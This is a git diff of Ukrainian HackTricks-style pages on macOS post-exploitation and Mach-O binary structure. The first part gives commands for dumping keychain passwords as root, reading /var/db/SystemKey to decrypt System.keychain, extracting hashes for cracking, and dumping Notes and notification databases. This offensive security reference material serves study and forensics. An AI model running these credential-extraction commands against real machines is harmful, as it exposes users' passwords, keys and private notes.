Інструмент під назвою **keychaindump** був розроблений для вилучення паролів з ключниць macOS, але він має обмеження на новіших версіях macOS, таких як Big Sur, як це вказано в [обговоренні](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). Використання **keychaindump** вимагає від зловмисника отримання доступу та підвищення привілеїв до **root**. Інструмент використовує той факт, що ключниця за замовчуванням розблоковується при вході користувача для зручності, що дозволяє програмам отримувати до неї доступ без необхідності повторного введення пароля користувача. Однак, якщо користувач вирішить блокувати свою ключницю після кожного використання, **keychaindump** стає неефективним.
|
||||
|
||||
**Keychaindump** працює, спрямовуючи на конкретний процес під назвою **securityd**, описаний Apple як демон для авторизації та криптографічних операцій, який є важливим для доступу до ключниці. Процес вилучення включає виявлення **Master Key**, похідного від пароля входу користувача. Цей ключ є важливим для читання файлу ключниці. Для знаходження **Master Key**, **keychaindump** сканує кучу пам'яті **securityd**, використовуючи команду `vmmap`, шукаючи потенційні ключі в областях, позначених як `MALLOC_TINY`. Для перевірки цих місць пам'яті використовується наступна команда:
|
||||
**Keychaindump** працює, спрямовуючись на конкретний процес під назвою **securityd**, описаний Apple як демон для авторизації та криптографічних операцій, який є важливим для доступу до ключниці. Процес вилучення включає виявлення **Master Key**, похідного від пароля входу користувача. Цей ключ є важливим для читання файлу ключниці. Для знаходження **Master Key**, **keychaindump** сканує пам'ять купи **securityd**, використовуючи команду `vmmap`, шукаючи потенційні ключі в областях, позначених як `MALLOC_TINY`. Для перевірки цих місць пам'яті використовується наступна команда:
|
||||
```bash
|
||||
sudo vmmap <securityd PID> | grep MALLOC_TINY
|
||||
```
|
||||
|
@ -64,11 +65,11 @@ sudo vmmap <securityd PID> | grep MALLOC_TINY
|
|||
```bash
|
||||
sudo ./keychaindump
|
||||
```
|
||||
### руйнівник ланцюга
|
||||
### chainbreaker
|
||||
|
||||
[**Chainbreaker**](https://github.com/n0fate/chainbreaker) можна використовувати для вилучення наступних типів інформації з ключового ланцюга OSX у форензично обґрунтований спосіб:
|
||||
[**Chainbreaker**](https://github.com/n0fate/chainbreaker) може бути використаний для вилучення наступних типів інформації з ключового ланцюжка OSX у форензично обґрунтований спосіб:
|
||||
|
||||
* Хешований пароль ключового ланцюга, придатний для взлому за допомогою [hashcat](https://hashcat.net/hashcat/) або [John the Ripper](https://www.openwall.com/john/)
|
||||
* Хешований пароль ключового ланцюжка, придатний для взлому за допомогою [hashcat](https://hashcat.net/hashcat/) або [John the Ripper](https://www.openwall.com/john/)
|
||||
* Інтернет-паролі
|
||||
* Загальні паролі
|
||||
* Приватні ключі
|
||||
|
@ -77,16 +78,16 @@ sudo ./keychaindump
|
|||
* Безпечні нотатки
|
||||
* Паролі Appleshare
|
||||
|
||||
За наявності пароля розблокування ключового ланцюга, майстер-ключа, отриманого за допомогою [volafox](https://github.com/n0fate/volafox) або [volatility](https://github.com/volatilityfoundation/volatility), або файлу розблокування, такого як SystemKey, Chainbreaker також надасть текстові паролі.
|
||||
За наявності паролю розблокування ключового ланцюжка, майстер-ключа, отриманого за допомогою [volafox](https://github.com/n0fate/volafox) або [volatility](https://github.com/volatilityfoundation/volatility), або файлу розблокування, такого як SystemKey, Chainbreaker також надасть паролі у відкритому вигляді.
|
||||
|
||||
Без одного з цих методів розблокування ключового ланцюга Chainbreaker відобразить всю іншу доступну інформацію.
|
||||
Без одного з цих методів розблокування ключового ланцюжка Chainbreaker відобразить усю іншу доступну інформацію.
|
||||
|
||||
#### **Вивантаження ключів ключового ланцюга**
|
||||
#### **Вивантаження ключів ключового ланцюжка**
|
||||
```bash
|
||||
#Dump all keys of the keychain (without the passwords)
|
||||
python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain
|
||||
```
|
||||
#### **Витягнути ключі з keychain (з паролями) за допомогою SystemKey**
|
||||
#### **Витягнути ключі зі сховища (з паролями) за допомогою SystemKey**
|
||||
```bash
|
||||
# First, get the keychain decryption key
|
||||
# To get this decryption key you need to be root and SIP must be disabled
|
||||
|
@ -94,7 +95,7 @@ hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo
|
|||
## Use the previous key to decrypt the passwords
|
||||
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
|
||||
```
|
||||
#### **Витягнення ключів keychain (з паролями) шляхом зламування хешу**
|
||||
#### **Витягнення ключів keychain (з паролями) та взлам хешу**
|
||||
```bash
|
||||
# Get the keychain hash
|
||||
python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain
|
||||
|
@ -105,7 +106,7 @@ python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d1
|
|||
```
|
||||
#### **Витягнення ключів keychain (з паролями) за допомогою дампу пам'яті**
|
||||
|
||||
[Виконайте ці кроки](..#dumping-memory-with-osxpmem), щоб виконати **дамп пам'яті**
|
||||
[Виконайте ці кроки](../#dumping-memory-with-osxpmem), щоб виконати **дамп пам'яті**
|
||||
```bash
|
||||
#Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords
|
||||
# Unformtunately volafox isn't working with the latest versions of MacOS
|
||||
|
@ -114,7 +115,7 @@ python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump
|
|||
#Try to extract the passwords using the extracted keychain passwords
|
||||
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
|
||||
```
|
||||
#### **Витягнення ключів з keychain (з паролями) за допомогою пароля користувача**
|
||||
#### **Витягнення ключів keychain (з паролями) за допомогою пароля користувача**
|
||||
|
||||
Якщо ви знаєте пароль користувача, ви можете використати його для **витягнення та розшифрування keychain, які належать користувачеві**.
|
||||
```bash
|
||||
|
@ -142,7 +143,7 @@ sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'
|
|||
|
||||
Ви можете знайти дані про сповіщення в `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/`
|
||||
|
||||
Більшість цікавої інформації буде в **blob**. Тому вам потрібно **видобути** цей вміст і **перетворити** його в **людино-читабельний** формат або використовувати **`strings`**. Для доступу до нього ви можете виконати:
|
||||
Більшість цікавої інформації буде в **blob**. Тому вам потрібно буде **видобути** цей вміст і **перетворити** його в **людино-зрозумілий** формат або використати **`strings`**. Для доступу до нього ви можете виконати:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -151,7 +152,7 @@ strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i
|
|||
```
|
||||
### Примітки
|
||||
|
||||
Примітки користувачів можна знайти в `~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite`
|
||||
Примітки користувачів можна знайти за шляхом `~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite`
|
||||
|
||||
{% endcode %}
|
||||
```bash
|
||||
|
@ -160,18 +161,61 @@ sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite .tabl
|
|||
#To dump it in a readable format:
|
||||
for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select Z_PK from ZICNOTEDATA;"); do sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select writefile('body1.gz.z', ZDATA) from ZICNOTEDATA where Z_PK = '$i';"; zcat body1.gz.Z ; done
|
||||
```
|
||||
{% endcode %}
|
||||
## Налаштування
|
||||
|
||||
<details>
|
||||
У macOS налаштування програм розташовані в **`$HOME/Library/Preferences`**, а в iOS вони знаходяться в `/var/mobile/Containers/Data/Application/<UUID>/Library/Preferences`.
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
У macOS інструмент командного рядка **`defaults`** може бути використаний для **зміни файлу налаштувань**.
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
**`/usr/sbin/cfprefsd`** використовує служби XPC `com.apple.cfprefsd.daemon` та `com.apple.cfprefsd.agent` і може бути викликаний для виконання дій, таких як зміна налаштувань.
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
## Системні сповіщення
|
||||
|
||||
</details>
|
||||
### Сповіщення Darwin
|
||||
|
||||
Основний демон для сповіщень - **`/usr/sbin/notifyd`**. Для отримання сповіщень клієнти повинні зареєструватися через порт Mach `com.apple.system.notification_center` (перевірте їх за допомогою `sudo lsmp -p <pid notifyd>`). Демон налаштовується за допомогою файлу `/etc/notify.conf`.
|
||||
|
||||
Назви, що використовуються для сповіщень, є унікальними оберненими DNS-нотаціями, і коли сповіщення надсилається на одну з них, клієнти, які вказали, що можуть його обробити, отримають його.
|
||||
|
||||
Можливо вивести поточний статус (і побачити всі назви), надславши сигнал SIGUSR2 процесу notifyd та прочитавши згенерований файл: `/var/run/notifyd_<pid>.status`:
|
||||
```bash
|
||||
ps -ef | grep -i notifyd
|
||||
0 376 1 0 15Mar24 ?? 27:40.97 /usr/sbin/notifyd
|
||||
|
||||
sudo kill -USR2 376
|
||||
|
||||
cat /var/run/notifyd_376.status
|
||||
[...]
|
||||
pid: 94379 memory 5 plain 0 port 0 file 0 signal 0 event 0 common 10
|
||||
memory: com.apple.system.timezone
|
||||
common: com.apple.analyticsd.running
|
||||
common: com.apple.CFPreferences._domainsChangedExternally
|
||||
common: com.apple.security.octagon.joined-with-bottle
|
||||
[...]
|
||||
```
|
||||
### Розподілений Центр Сповіщень
|
||||
|
||||
**Розподілений Центр Сповіщень** (Distributed Notification Center), головний бінарний файл якого розташований у **`/usr/sbin/distnoted`**, є ще одним способом надсилання сповіщень. Він використовує деякі служби XPC і виконує перевірку для підтвердження клієнтів.
|
||||
|
||||
### Сповіщення Apple Push (APN)
|
||||
|
||||
У цьому випадку додатки можуть реєструватися для **тем** (topics). Клієнт буде генерувати токен, звертаючись до серверів Apple через **`apsd`**.\
|
||||
Потім провайдери також згенерують токен і матимуть змогу підключитися до серверів Apple для надсилання повідомлень клієнтам. Ці повідомлення будуть локально отримані **`apsd`**, який передасть сповіщення додатку, який його очікує.
|
||||
|
||||
Налаштування знаходяться у `/Library/Preferences/com.apple.apsd.plist`.
|
||||
|
||||
Є локальна база даних повідомлень, розташована в macOS у `/Library/Application\ Support/ApplePushService/aps.db` і в iOS у `/var/mobile/Library/ApplePushService`. Вона має 3 таблиці: `incoming_messages`, `outgoing_messages` та `channel`.
|
||||
```bash
|
||||
sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db
|
||||
```
|
||||
Також можна отримати інформацію про демона та з'єднання за допомогою:
|
||||
```bash
|
||||
/System/Library/PrivateFrameworks/ApplePushService.framework/apsctl status
|
||||
```
|
||||
## Сповіщення користувача
|
||||
|
||||
Це сповіщення, які користувач повинен побачити на екрані:
|
||||
|
||||
* **`CFUserNotification`**: Це API надає можливість показати на екрані спливаюче вікно з повідомленням.
|
||||
* **Дошка оголошень**: Це показується в iOS як банер, який зникає і буде збережений у Центрі сповіщень.
|
||||
* **`NSUserNotificationCenter`**: Це дошка оголошень iOS в MacOS. База даних зі сповіщеннями знаходиться в `/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db`
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Універсальні бінарні файли macOS та формат Mach-O
|
||||
# Універсальні бінарні файли та формат Mach-O
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Школа хакінгу HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Школа хакінгу HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
|
@ -24,7 +25,7 @@
|
|||
* Команд завантаження
|
||||
* Даних
|
||||
|
||||
![https://alexdremov.me/content/images/2022/10/6XLCD.gif](<../../../.gitbook/assets/image (559).png>)
|
||||
![https://alexdremov.me/content/images/2022/10/6XLCD.gif](<../../../.gitbook/assets/image (470).png>)
|
||||
|
||||
## Fat Header
|
||||
|
||||
|
@ -78,7 +79,7 @@ capabilities PTR_AUTH_VERSION USERSPACE 0
|
|||
|
||||
або використовуючи інструмент [Mach-O View](https://sourceforge.net/projects/machoview/):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1094).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Як ви, можливо, мислите, зазвичай універсальний бінарний файл, скомпільований для 2 архітектур, **подвоює розмір** того, що скомпільовано лише для 1 архітектури.
|
||||
|
||||
|
@ -111,11 +112,20 @@ uint32_t flags; /* flags */
|
|||
uint32_t reserved; /* reserved */
|
||||
};
|
||||
```
|
||||
**Типи файлів**:
|
||||
### Типи файлів Mach-O
|
||||
|
||||
* MH\_EXECUTE (0x2): Стандартний виконавчий файл Mach-O
|
||||
* MH\_DYLIB (0x6): Динамічна зв'язана бібліотека Mach-O (тобто .dylib)
|
||||
* MH\_BUNDLE (0x8): Пакунок Mach-O (тобто .bundle)
|
||||
Існують різні типи файлів, ви можете знайти їх визначені в [**вихідному коді, наприклад, тут**](https://opensource.apple.com/source/xnu/xnu-2050.18.24/EXTERNAL\_HEADERS/mach-o/loader.h). Найважливіші з них:
|
||||
|
||||
* `MH_OBJECT`: Файл об'єкта, який можна переміщати (проміжні продукти компіляції, ще не виконувані файли).
|
||||
* `MH_EXECUTE`: Виконувані файли.
|
||||
* `MH_FVMLIB`: Файл фіксованої бібліотеки VM.
|
||||
* `MH_CORE`: Відкладені коди
|
||||
* `MH_PRELOAD`: Передзавантажений виконуваний файл (більше не підтримується в XNU)
|
||||
* `MH_DYLIB`: Динамічні бібліотеки
|
||||
* `MH_DYLINKER`: Динамічний лінкер
|
||||
* `MH_BUNDLE`: "Файли плагінів". Створені за допомогою -bundle в gcc та явно завантажені за допомогою `NSBundle` або `dlopen`.
|
||||
* `MH_DYSM`: Супутній файл `.dSym` (файл з символами для налагодження).
|
||||
* `MH_KEXT_BUNDLE`: Розширення ядра.
|
||||
```bash
|
||||
# Checking the mac header of a binary
|
||||
otool -arch arm64e -hv /bin/ls
|
||||
|
@ -125,11 +135,30 @@ MH_MAGIC_64 ARM64 E USR00 EXECUTE 19 1728 NOUNDEFS DY
|
|||
```
|
||||
Або використовуючи [Mach-O View](https://sourceforge.net/projects/machoview/):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1133).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## **Прапорці Mach-O**
|
||||
|
||||
Вихідний код також визначає кілька корисних прапорців для завантаження бібліотек:
|
||||
|
||||
* `MH_NOUNDEFS`: Немає невизначених посилань (повністю зв'язаний)
|
||||
* `MH_DYLDLINK`: Посилання Dyld
|
||||
* `MH_PREBOUND`: Динамічні посилання попередньо зв'язані.
|
||||
* `MH_SPLIT_SEGS`: Файл розділяє сегменти r/o та r/w.
|
||||
* `MH_WEAK_DEFINES`: У бінарному файлі є слабкі визначені символи
|
||||
* `MH_BINDS_TO_WEAK`: Бінарний файл використовує слабкі символи
|
||||
* `MH_ALLOW_STACK_EXECUTION`: Зробити стек виконавчим
|
||||
* `MH_NO_REEXPORTED_DYLIBS`: Бібліотека не містить команд LC\_REEXPORT
|
||||
* `MH_PIE`: Виконавчий файл з незалежними від положення адреси
|
||||
* `MH_HAS_TLV_DESCRIPTORS`: Є розділ зі змінними локального потоку
|
||||
* `MH_NO_HEAP_EXECUTION`: Відсутнє виконання для сторінок купи/даних
|
||||
* `MH_HAS_OBJC`: У бінарному файлі є розділи oBject-C
|
||||
* `MH_SIM_SUPPORT`: Підтримка симулятора
|
||||
* `MH_DYLIB_IN_CACHE`: Використовується на dylibs/frameworks у спільному кеші бібліотек.
|
||||
|
||||
## **Команди завантаження Mach-O**
|
||||
|
||||
**Макет файлу в пам'яті** вказаний тут, деталізуючи **розташування таблиці символів**, контекст основного потоку під час початку виконання та необхідні **спільні бібліотеки**. Інструкції надаються динамічному завантажувачу **(dyld)** щодо процесу завантаження бінарного файлу в пам'ять.
|
||||
Тут вказано **розташування файлу в пам'яті**, деталізуючи **розташування таблиці символів**, контекст основного потоку при початку виконання та необхідні **спільні бібліотеки**. Надаються інструкції для динамічного завантажувача **(dyld)** щодо процесу завантаження бінарного файлу в пам'ять.
|
||||
|
||||
Використовує структуру **load\_command**, визначену в зазначеному **`loader.h`**:
|
||||
```objectivec
|
||||
|
@ -146,7 +175,7 @@ uint32_t cmdsize; /* total size of command in bytes */
|
|||
Фактично, цей тип команди завантаження визначає, **як завантажувати сегменти \_\_TEXT** (виконавчий код) **та \_\_DATA** (дані для процесу) **згідно з вказаними зміщеннями в розділі Дані** при виконанні бінарного файлу.
|
||||
{% endhint %}
|
||||
|
||||
Ці команди **визначають сегменти**, які **відображаються** в **віртуальному просторі пам'яті** процесу при його виконанні.
|
||||
Ці команди **визначають сегменти**, які **відображаються** в **віртуальному просторі пам'яті** процесу під час його виконання.
|
||||
|
||||
Існують **різні типи** сегментів, такі як сегмент **\_\_TEXT**, який містить виконавчий код програми, та сегмент **\_\_DATA**, який містить дані, використовувані процесом. Ці **сегменти розташовані в розділі даних** файлу Mach-O.
|
||||
|
||||
|
@ -171,7 +200,7 @@ int32_t initprot; /* початковий захист VM */
|
|||
|
||||
Приклад заголовка сегмента:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1126).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Цей заголовок визначає **кількість секцій, заголовки яких з'являються після** нього:
|
||||
```c
|
||||
|
@ -192,48 +221,111 @@ uint32_t reserved3; /* reserved */
|
|||
```
|
||||
Приклад **заголовка розділу**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1108).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви **додаєте** **зміщення розділу** (0x37DC) + **зміщення**, де **починається архітектура**, у цьому випадку `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (701).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Також можна отримати **інформацію про заголовки** з **командного рядка** за допомогою:
|
||||
```bash
|
||||
otool -lv /bin/ls
|
||||
```
|
||||
Загальні сегменти, завантажені цією командою:
|
||||
Спільні сегменти, завантажені цією командою:
|
||||
|
||||
* **`__PAGEZERO`:** Це вказує ядру **відобразити** **адресу нуль**, щоб її **не можна було читати, записувати або виконувати**. Змінні maxprot та minprot у структурі встановлені на нуль, щоб показати, що на цій сторінці **немає прав на читання-запис-виконання**.
|
||||
* Це виділення важливе для **пом'якшення вразливостей нульових вказівників**.
|
||||
* **`__TEXT`**: Містить **виконуваний** **код** з правами на **читання** та **виконання** (без можливості запису)**.** Загальні розділи цього сегмента:
|
||||
* Це виділення важливе для **пом'якшення вразливостей нульового вказівника**. Це тому, що XNU застосовує жорстку сторінку нуль, яка забезпечує, що перша сторінка (тільки перша) пам'яті недоступна (крім в i386). Бінарний файл може відповісти цим вимогам, створивши невеликий \_\_PAGEZERO (використовуючи `-pagezero_size`) для охоплення перших 4 кб та зробивши решту пам'яті 32-біт доступною як у режимі користувача, так і в режимі ядра.
|
||||
* **`__TEXT`**: Містить **виконуваний** **код** з дозволами на **читання** та **виконання** (без можливості запису)**.** Загальні розділи цього сегмента:
|
||||
* `__text`: Скомпільований бінарний код
|
||||
* `__const`: Константні дані
|
||||
* `__cstring`: Рядкові константи
|
||||
* `__const`: Константні дані (тільки для читання)
|
||||
* `__[c/u/os_log]string`: Константи рядків C, Unicode або os logs
|
||||
* `__stubs` та `__stubs_helper`: Використовуються під час процесу завантаження динамічних бібліотек
|
||||
* `__unwind_info`: Дані розгортання стеку.
|
||||
* Зверніть увагу, що весь цей вміст підписаний, але також позначений як виконуваний (створюючи більше варіантів для експлуатації розділів, які не обов'язково потребують цієї привілеї, наприклад, розділів, присвячених рядкам).
|
||||
* **`__DATA`**: Містить дані, які можна **читати** та **писати** (без можливості виконання)**.**
|
||||
* `__got:` Глобальна таблиця зміщень
|
||||
* `__nl_symbol_ptr`: Вказівник на символи Non lazy (bind at load)
|
||||
* `__la_symbol_ptr`: Вказівник на символи Lazy (bind on use)
|
||||
* `__const`: Повинні бути дані тільки для читання (насправді ні)
|
||||
* `__cfstring`: Строки CoreFoundation
|
||||
* `__data`: Глобальні змінні (які були ініціалізовані)
|
||||
* `__bss`: Статичні змінні (які не були ініціалізовані)
|
||||
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, тощо): Інформація, використовувана в середовищі виконання Objective-C
|
||||
* **`__LINKEDIT`**: Містить інформацію для лінкера (dyld), таку як "запис, рядок та записи таблиці перенесення."
|
||||
* **`__OBJC`**: Містить інформацію, використовувану в середовищі виконання Objective-C. Хоча цю інформацію також можна знайти в сегменті \_\_DATA, у різних розділах \_\_objc\_\*.
|
||||
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, тощо): Інформація, використовувана середовищем виконання Objective-C
|
||||
* **`__DATA_CONST`**: \_\_DATA.\_\_const не гарантується, що воно є постійним (права на запис), так само як і інші вказівники та таблиця GOT. Цей розділ робить `__const`, деякі ініціалізатори та таблицю GOT (після вирішення) **тільки для читання** за допомогою `mprotect`.
|
||||
* **`__LINKEDIT`**: Містить інформацію для лінкера (dyld), таку як, символи, рядки та записи таблиці перенесення. Це загальний контейнер для вмісту, який не знаходиться ані в `__TEXT`, ані в `__DATA`, а його вміст описаний в інших командах завантаження.
|
||||
* Інформація dyld: Rebase, опкоди для не-лінивого/лінивого/слабкого зв'язування та інформація про експорт
|
||||
* Початок функцій: Таблиця початкових адрес функцій
|
||||
* Дані у коді: Дані на островах в \_\_text
|
||||
* Таблиця символів: Символи в бінарному файлі
|
||||
* Таблиця непрямих символів: Вказівники/заглушки символів
|
||||
* Таблиця рядків
|
||||
* Підпис коду
|
||||
* **`__OBJC`**: Містить інформацію, використовувану середовищем виконання Objective-C. Хоча цю інформацію також можна знайти в сегменті \_\_DATA, в різних розділах \_\_objc\_\*.
|
||||
* **`__RESTRICT`**: Сегмент без вмісту з одним розділом під назвою **`__restrict`** (також порожній), який забезпечує, що під час виконання бінарного файлу будуть ігноруватися змінні середовища DYLD.
|
||||
|
||||
### **`LC_MAIN`**
|
||||
Як можна було побачити в коді, **сегменти також підтримують прапорці** (хоча вони не використовуються дуже часто):
|
||||
|
||||
Містить точку входу в атрибуті **entryoff**. Під час завантаження **dyld** просто **додає** це значення до (в пам'яті) **бази бінарного файлу**, а потім **переходить** до цієї інструкції для початку виконання коду бінарного файлу.
|
||||
* `SG_HIGHVM`: Тільки для ядра (не використовується)
|
||||
* `SG_FVMLIB`: Не використовується
|
||||
* `SG_NORELOC`: Сегмент не має перерозташування
|
||||
* `SG_PROTECTED_VERSION_1`: Шифрування. Використовується, наприклад, Finder для шифрування тексту в сегменті `__TEXT`.
|
||||
|
||||
### **LC\_CODE\_SIGNATURE**
|
||||
### **`LC_UNIXTHREAD/LC_MAIN`**
|
||||
|
||||
**`LC_MAIN`** містить точку входу в атрибуті **entryoff.** Під час завантаження **dyld** просто **додає** це значення до (в пам'яті) **бази бінарного файлу**, а потім **переходить** до цієї інструкції для початку виконання коду бінарного файлу.
|
||||
|
||||
**`LC_UNIXTHREAD`** містить значення, які повинні мати регістри при запуску головного потоку. Це вже застаріло, але **`dyld`** все ще використовує його. Можна побачити значення регістрів, встановлені цим, за допомогою:
|
||||
```bash
|
||||
otool -l /usr/lib/dyld
|
||||
[...]
|
||||
Load command 13
|
||||
cmd LC_UNIXTHREAD
|
||||
cmdsize 288
|
||||
flavor ARM_THREAD_STATE64
|
||||
count ARM_THREAD_STATE64_COUNT
|
||||
x0 0x0000000000000000 x1 0x0000000000000000 x2 0x0000000000000000
|
||||
x3 0x0000000000000000 x4 0x0000000000000000 x5 0x0000000000000000
|
||||
x6 0x0000000000000000 x7 0x0000000000000000 x8 0x0000000000000000
|
||||
x9 0x0000000000000000 x10 0x0000000000000000 x11 0x0000000000000000
|
||||
x12 0x0000000000000000 x13 0x0000000000000000 x14 0x0000000000000000
|
||||
x15 0x0000000000000000 x16 0x0000000000000000 x17 0x0000000000000000
|
||||
x18 0x0000000000000000 x19 0x0000000000000000 x20 0x0000000000000000
|
||||
x21 0x0000000000000000 x22 0x0000000000000000 x23 0x0000000000000000
|
||||
x24 0x0000000000000000 x25 0x0000000000000000 x26 0x0000000000000000
|
||||
x27 0x0000000000000000 x28 0x0000000000000000 fp 0x0000000000000000
|
||||
lr 0x0000000000000000 sp 0x0000000000000000 pc 0x0000000000004b70
|
||||
cpsr 0x00000000
|
||||
|
||||
[...]
|
||||
```
|
||||
### **`LC_CODE_SIGNATURE`**
|
||||
|
||||
Містить інформацію про **підпис коду файлу Mach-O**. Він містить лише **зсув**, який **вказує** на **блоб підпису**. Зазвичай це знаходиться в самому кінці файлу.\
|
||||
Однак деяку інформацію про цей розділ можна знайти в [**цьому блозі**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) та цьому [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4).
|
||||
Однак ви можете знайти деяку інформацію про цей розділ у [**цьому дописі у блозі**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) та у цьому [**фрагменті**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4).
|
||||
|
||||
### **LC\_LOAD\_DYLINKER**
|
||||
### **`LC_ENCRYPTION_INFO[_64]`**
|
||||
|
||||
Містить **шлях до виконавчого файлу динамічного лінкера**, який відображає спільні бібліотеки в адресний простір процесу. **Значення завжди встановлене на `/usr/lib/dyld`**. Важливо зауважити, що в macOS відображення dylib відбувається в **режимі користувача**, а не в режимі ядра.
|
||||
Підтримка шифрування бінарного коду. Однак, звісно, якщо зловмисник здатний скомпрометувати процес, він зможе витягнути пам'ять в розшифрованому вигляді.
|
||||
|
||||
### **`LC_LOAD_DYLINKER`**
|
||||
|
||||
